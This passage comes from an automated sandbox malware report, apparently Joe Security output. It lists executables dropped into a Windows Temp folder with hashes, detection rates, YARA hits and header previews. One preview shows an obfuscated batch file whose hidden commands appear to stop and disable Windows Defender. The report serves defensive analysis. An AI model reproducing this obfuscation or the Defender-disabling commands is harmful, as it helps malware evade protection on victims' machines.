.....System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........Sy
stem.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1
........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\1105.tmp

Process: C:\Users\user\AppData\Local\Temp\4EDC.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1622408

Entropy (8bit): 6.298350783524153

Encrypted: false

SSDEEP: 24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0

MD5: BFA689ECA05147AFD466359DD4A144A3

SHA1: B3474BE2B836567420F8DC96512AA303F31C8AFC

SHA-256: B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B

SHA-512: 8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 2%

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l
.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y..
.....N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..........
....@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B................................................................................................................
........................................................................................................................

C:\Users\user\AppData\Local\Temp\1105.tmp

C:\Users\user\AppData\Local\Temp\37D8.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 512512

Entropy (8bit): 7.846723941917503

Encrypted: false

SSDEEP: 12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J

MD5: F57B28AEC65D4691202B9524F84CC54A

SHA1: F546B20EB40E3BC2B6929BA0F574E32422CED30C

SHA-256: 87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5

SHA-512: 1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09

Malicious: true

Yara Hits: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on 
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\37D8.exe, Author: Florian Roth

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 39%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@...........
.`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... .
.....................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in D
OS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ...
............ ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\3AE.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 262248

Entropy (8bit): 7.344044114091331

Encrypted: false

SSDEEP: 6144:7Zd5yNguYYTkxcNQoF8KzJugf/vTvN9KQqJIo:7Zd5yNguPQyNQYJuSvDLKXIo

MD5: EDE62358EA39643E43992E9068E03CA2

SHA1: 0F73E8F96C01135A91D4E1BFECA139AD31C72C15

SHA-256: 187CB817751D6871EB7BE566DD9D9A98A46EDB11391220B69E4FAD695F31E605

SHA-512: 552B31EDA2131C8326996DEBA1812C6A6B23D892DDABDD17C3182FCD43B9019CFC863EED1FF67FA2EC21297E98F61502D3E095972D2C6710D08B3F27EA7A82F
1

Malicious: true

Antivirus: Antivirus: ReversingLabs, Detection: 14%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{a..............0.................. ... ....@.. .......................@..........
..@.................................(...W.......XH..............h.... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...XH.......J..................@..@.rel
oc....... ......................@..B................d.......H.......................l...."..................................................................?................................?................................?...........................
.....?............................................................................................................ .......@........................................................ .......@........................................................ .......@.......
..............................

C:\Users\user\AppData\Local\Temp\3FD8.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 22528

Entropy (8bit): 5.395556088889033

Encrypted: false

SSDEEP: 384:ezekc2D26R7pXha5eglsu2tiP39n+NDr7vGuywqFGc1QzOQslg:qJcMnacgl6Q10rSuywCZ1QO

MD5: 787AF677D0C317E8062B9705CB64F951

SHA1: 41BF391CE44004A22BA7F18E5FDCDCFCEA73E38F

SHA-256: 7CFA3F3EBB7DCE336E24DF02D5BA0FDBC081927892D597986113FB11EDF1702E

SHA-512: 8A9BF2D0DF12926F3253DCF5F2B5186928107C36189F404C50C69B67BC09DDA267FACD53E3259ABF3934DE6682BC3B0E49D1D5ACCFA5D4A5B702F4F9EF8D8B4
5

Malicious: true
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Yara Hits: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on 
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\3FD8.exe, Author: Florian Roth

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 22%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N..........nl... ........@.. ..............................P....
.`..................................l..S....................Z............................................................... ............... ..H............text...tL... ...N.................. ..`.rsrc................P..............@..@.reloc.........
......V..............@..B................Pl......H.......PK... ..........................................................MZ......................@...............................................!....!This program cannot be run in D
OS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ...
............ ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\3FD8.exe

C:\Users\user\AppData\Local\Temp\4EDC.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 212992

Entropy (8bit): 6.734269361613487

Encrypted: false

SSDEEP: 3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP

MD5: 73252ACB344040DDC5D9CE78A5D3A4C2

SHA1: 3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015

SHA-256: B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB

SHA-512: 1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 80%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................................................................................................
..........PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x....................
........text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@.............
..............................................................................................................................................................................................................................................................................
.............................

C:\Users\user\AppData\Local\Temp\60DF.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 161280

Entropy (8bit): 5.163359140538006

Encrypted: false

SSDEEP: 3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN

MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29

SHA1: 6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD

SHA-256: 08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C

SHA-512: 14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF
2

Malicious: true

Yara Hits: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on 
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\60DF.exe, Author: Florian Roth

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 43%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................
@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc..........
.....t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@..................................
.............................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... 
...b...e... ...r...

C:\Users\user\AppData\Local\Temp\6E1E.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: modified

Size (bytes): 347136

Entropy (8bit): 5.994706914620217

Encrypted: false

SSDEEP: 6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH

MD5: 31BE6099D31BDBF1ED339EFFDC1C7064
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SHA1: 6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88

SHA-256: 9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885

SHA-512: ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CE
DE

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....
q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@
............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(.....
.........@..B.......................................................................................................................................................................................................................................................
.................................................................

C:\Users\user\AppData\Local\Temp\6E1E.exe

C:\Users\user\AppData\Local\Temp\8908.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 347648

Entropy (8bit): 6.0028359766199

Encrypted: false

SSDEEP: 6144:2lTbIu4B96zuF5GVM5/xfe7Yrc+dZX6FzbzfS3:2Bb8BCu3Be7Yrc+dZX6JfK

MD5: 2BA5D1028F7BABCA366060BDE97BF482

SHA1: 98C817B375BB002C37C8DFB778116E4C5D07CD79

SHA-256: 555FD11933A1BB3A71714E1C234CDEAF7EA3C614F24EEBEC3786FB61CB3B5B5E

SHA-512: A708EABF5CB10CE8352CD08FF0E116E37A3274B6EEC347873BD5AB02D716B3DB02F02832318D269BCB03A8AE3F2D901088075D356E69CA3066BA61A1B18656C
C

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....
q.e.Richp.e.........................PE..L...^2R_......................p...................@...........................t.............................................d...P....`s..?....................s.....0...............................p...
@............................................text............................... ..`.data....io.........................@....zegu........Ps.....................@....rsrc....?...`s..@..................@..@.reloc...#....s..$...*....
..........@..B......................................................................................................................................................................................................................................................
..................................................................

C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe

Process: C:\Users\user\AppData\Local\Temp\60DF.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 91000

Entropy (8bit): 6.241345766746317

Encrypted: false

SSDEEP: 1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3

MD5: 17FC12902F4769AF3A9271EB4E2DACCE

SHA1: 9A4A1581CC3971579574F837E110F3BD6D529DAB

SHA-256: 29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B

SHA-512: 036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4
A

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 3%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....*).....*)..
Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................
<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@...................................................
..............................................................................................................................................................................................................................................................................
.......................

C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat
Process: C:\Users\user\AppData\Local\Temp\60DF.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 8399

Entropy (8bit): 4.665734428420432

Encrypted: false

SSDEEP: 192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N

Copyright Joe Security LLC 2021 Page 22 of 141

https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis


MD5: B2A5EF7D334BDF866113C6F4F9036AAE

SHA1: F9027F2827B35840487EFD04E818121B5A8541E0

SHA-256: 27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E

SHA-512: 8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189
E

Malicious: false

Reputation: unknown

Preview:
@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%
ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdz
tigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybs
rbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %
trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xa
r%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%j
skzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcx
ymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat

C:\Users\user\AppData\Local\Temp\B74C.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 877568

Entropy (8bit): 7.460431912982712

Encrypted: false

SSDEEP: 24576:mL8RrSCKsWGpcrFvUUF+NcahNgNTVpTGD:mLi2MWG2hH+NUyD

MD5: 3362B53647F312CD069D71E3662A9155

SHA1: C122D2F5029DA3F9578328BDAC548DACE7909FBE

SHA-256: 090E1DDC68B328609DF8C734E702E4FECDC55CCE7816DD0A43B3053D79BC6579

SHA-512: 5581C6F5FE04A737D74A5F88451B7A292607C2A5DC83202A8CE0D8E923D38BBEC906C70A926B89D8010E086AD1FE9B9566D71DEEEB5339262D0B31E88FA54405

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 43%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....
q.e.Richp.e.........................PE..L....d?`......................p...................@...........................|.....4|......................................d...P.....{.h?....................{.....0...............................h...
@............................................text............................... ..`.data....io.........................@....yopu........p{.....................@....rsrc...h?....{..@..................@..@.reloc...#....{..$...@....
..........@..B......................................................................................................................................................................................................................................................
..................................................................

C:\Users\user\AppData\Local\Temp\C651.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 278528

Entropy (8bit): 7.390894610588505

Encrypted: false

SSDEEP: 6144:IdQPlt1M8RJNHUMb62VCDuy1DzJDGLkjNVlZeJjuzbgwuA7ITsq:Ialt6mJN0x2VmlhtawtcjunnF7

MD5: FA00DF47BCC5F9AD16ED71856FB6F4D6

SHA1: 561D89B6384A44E6D47AC4B68D04FFFFF3DE3558

SHA-256: B2F5636B2E78B3F60EA53FD0C7C95656E11C08FAC59869B38A165C7BF39CF1E5

SHA-512: 3A6ACB14B041B341C979F233D881225615B225DAC9E84F0CD62DAEC69818212A9620AE82E4B61BA5547E3A0EB9D1D8442EF52CE86BF093918203D33DDF3283CE

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 55%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................................................................................................
..........PE..L......`.....................6......_%............@.............................................................................(....`..H/..............................................................@...............p...................
.........text.............................. ..`.rdata...E.......F..................@..@.data....<..........................@....xoj....r....P......................@..@.rsrc...H/...`...0..................@..@.......................
..............................................................................................................................................................................................................................................................................
...................

C:\Users\user\AppData\Local\Temp\D083.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 27576

Entropy (8bit): 5.969933955399239

Encrypted: false

Copyright Joe Security LLC 2021 Page 23 of 141



SSDEEP: 384:bekc2D26R7pXha5eglsu2CfQG9kyf4ZZK61TEYFGc1QzOQs42Aghgn:bJcMnacgl6EWlXzZ1QO4khgn

MD5: FA6D8115D2266A121FE7C1552C0DDDFD

SHA1: 9166433A1F42AE7A623F26341DD9BBED91A045B3

SHA-256: 237E9E25B4DADE7BD2CCD0F6D59C9D607EEED8E60C1041F10BE3D4C50B37A459

SHA-512: 58825BAF9D243279393A635AEE9E7493682F18105D24CFAAF270BFAE54CB2FFDFE12734D7E3EB34983C554F3599BB73D523029871F28D8AFBF25CD27798C2368

Malicious: true

Yara Hits: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on 
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\D083.exe, Author: Florian Roth

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 32%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N...........l... ........@.. ...............................G...
.`..................................l..O.......,............X............................................................... ............... ..H............text....L... ...N.................. ..`.rsrc...,............P..............@..@.reloc.........
......V..............@..B.................l......H.......PK..L!..........................................................MZ......................@...............................................!....!This program cannot be run in DOS 
mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... .............
.. ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\D083.exe

C:\Users\user\AppData\Local\Temp\DAA6.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 791552

Entropy (8bit): 7.368824467033047

Encrypted: false

SSDEEP: 12288:uDMkBTpEvda0f6dSctc54lTQazT6A/9Or+ilw8lCW0k7ro8R3D3INLf3:QMk+dV6dS6KazZ4rPlw8lCWYQi

MD5: 7917305400EE899130B1D5B7AFA0A159

SHA1: D45E1A34FE773040D7034A80BBEBB3DBD3EA4252

SHA-256: 80C4B12305B41D2FDCD9DCCD53D2414C3AEA2188198F3D79AF262709C1E2DAC9

SHA-512: 417DECA0BEEE73B6EA8379B85726A9DAAF4DC32721D7A658BA42B9D359A6739F7478D3E0068C8B110497CB222956A1AFA5E1BF28C202965DEDE7A659EB824E
F6

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a..........................^..................................Rich........................
...PE..L...m;._......................v...................@............................................................................P....0...I.......................... ................................~..@...........................................
.text............................... ..`.data...H.u.........................@....rsrc....I...0...J..................@..@.reloc..8$.......&..................@..B................................................................................
................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E11F.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1111994

Entropy (8bit): 7.9252602794269915

Encrypted: false

SSDEEP: 24576:4CRVwOoPzND9Tl7RUGb+89w4ZFLkAPLYLSeUr:hOhJGTIAAcns

MD5: 27E7D6FAA08A1A69CB7C62D199B1B4F6

SHA1: 507F02D50BA701760A6D2303A648563030FB3ECD

SHA-256: 3896AD778346B9D5B04331410015969F2AF655B6277DBF612721027B73173E50

SHA-512: 7100ED807C5C1C56D5A3FCB4E69BE326F5D14BC44076E2E35355E6B8E3A175ED1B9FF4BC9C82FBCB1C19D1DD552E1D9242CD17CD5C44F9320C067ACA301D10
59

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......j@...!.R.!.R.!.R'Y.R4!.R'Y.R.!.R'Y.R=!.R.!.R.!.R'Y.Ry!.R'Y.R/!
.R'Y.R/!.R'Y.R/!.RRich.!.R........PE..L....ALV.....................~......\.............@..........................`..........................................3...............xE......................................................
....@...@...............(............................text...)........................... ..`.rdata...F.......H..................@..@.data...(.... ......................@....rsrc...xE.......F..."..............@..@..................
..............................................................................................................................................................................................................................................................................
................................................................................

C:\Users\user\AppData\Local\Temp\E4D7.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 602624

Entropy (8bit): 7.084353154011633
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Encrypted: false

SSDEEP: 12288:cXFozgk6zKJTHUqEiPEnvnoTYPjPX12r0OqvOw79vU6i/+95v:GFE+zgcnD2pg/Uc5v

MD5: BB71D72E7391E33F98C1291C0F499BA6

SHA1: 1C6D44C11343804C707AA2F3AB6B75B66F61F1E7

SHA-256: 35231486153CEE388C670FE38E700810CB7F4BB265F42D6D68C1B9494206360D

SHA-512: EC4EB1654F4BE3038F319A329D73110AEE7702549E015EEE86AF0B45ADA3CB5244A4DDAEE0DCBEA362127B460A1C51A68A5DA9DB9313D9450F930254E6A7EE
B7

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....
q.e.Richp.e.........................PE..L...j.^......................p...................@...........................x.................................................P....@w..?....................w.....0...................................@
............................................text...@........................... ..`.data....io.........................@....vif.........0w.....................@....rsrc....?...@w..@..................@..@.reloc...#....w..$.........
.........@..B.......................................................................................................................................................................................................................................................
.................................................................

C:\Users\user\AppData\Local\Temp\E4D7.exe

C:\Users\user\AppData\Local\Temp\FBAD.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 604160

Entropy (8bit): 7.081312542094628

Encrypted: false

SSDEEP: 12288:zUq737aTz5aNquRVgE6/kEObrF5d/WYN4t88+wGOjsyDR:Aq7rwa0uRm8brF5LupDs

MD5: DE692F1B4D4C63FED395BE25E878858E

SHA1: 16F5B74E898FB0CD30F127CB1E03DA79E481158A

SHA-256: 6ED753E5B9A7AC5D89A6F9749E24C5BEB7483C6FDA2057E81E1EB3ED5A32AB21

SHA-512: 24227BBCD1451E7F6A2B6C16637987B1388BE398A88005851AF24805BFD7B57AE39AE7B70E69DE3B424EE48E4FB65EF0CABD710692EBC9393F2A1542E6D8E06
7

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m
.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L.....*_......................v.....@.............@...........................~......4..........................................d....P}..I....................}..... .......
............................@............................................text.............................. ..`.data...H.u.........................@....rsrc....I...P}..J..................@..@.reloc...#....}..$..................@..B.........
..............................................................................................................................................................................................................................................................................
.........................................................................................

C:\Users\user\AppData\Local\Temp\FC0C.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 516536

Entropy (8bit): 7.850812641211313

Encrypted: false

SSDEEP: 12288:qw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+ymtE:qVhdLVg2Zep7njXzPDxC+TE

MD5: C55C023A1BEA32E71A99614D39DC4DD6

SHA1: 44809A18A01B2647C9A80AF0EF9CA131EEF34E97

SHA-256: D7241A7DA97FDEFE199F23605BFAB8F878728A71F4B1B12F26AA83F775AE2FC5

SHA-512: 5A4A071A5CE5EB921738324AF71A8434DF5AF2219016006A0002D6918DCADAD8580BEF6D4973F05ACD9FF68C23DE6B8C3F6308709294DAD03D024068C9F42667

Malicious: true

Yara Hits: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on 
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\FC0C.exe, Author: Florian Roth

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.............~.... ........@.. .......................@.......'...
.`.................................$...W............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... .
.....................@..B................`.......H........t..<k...........Y..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS 
mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... .............
.. ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mnnn4mp.orf.psm1
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1
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Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mnnn4mp.orf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edan1p3l.tam.ps1
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510
A

Malicious: false

Reputation: unknown

Preview:
1

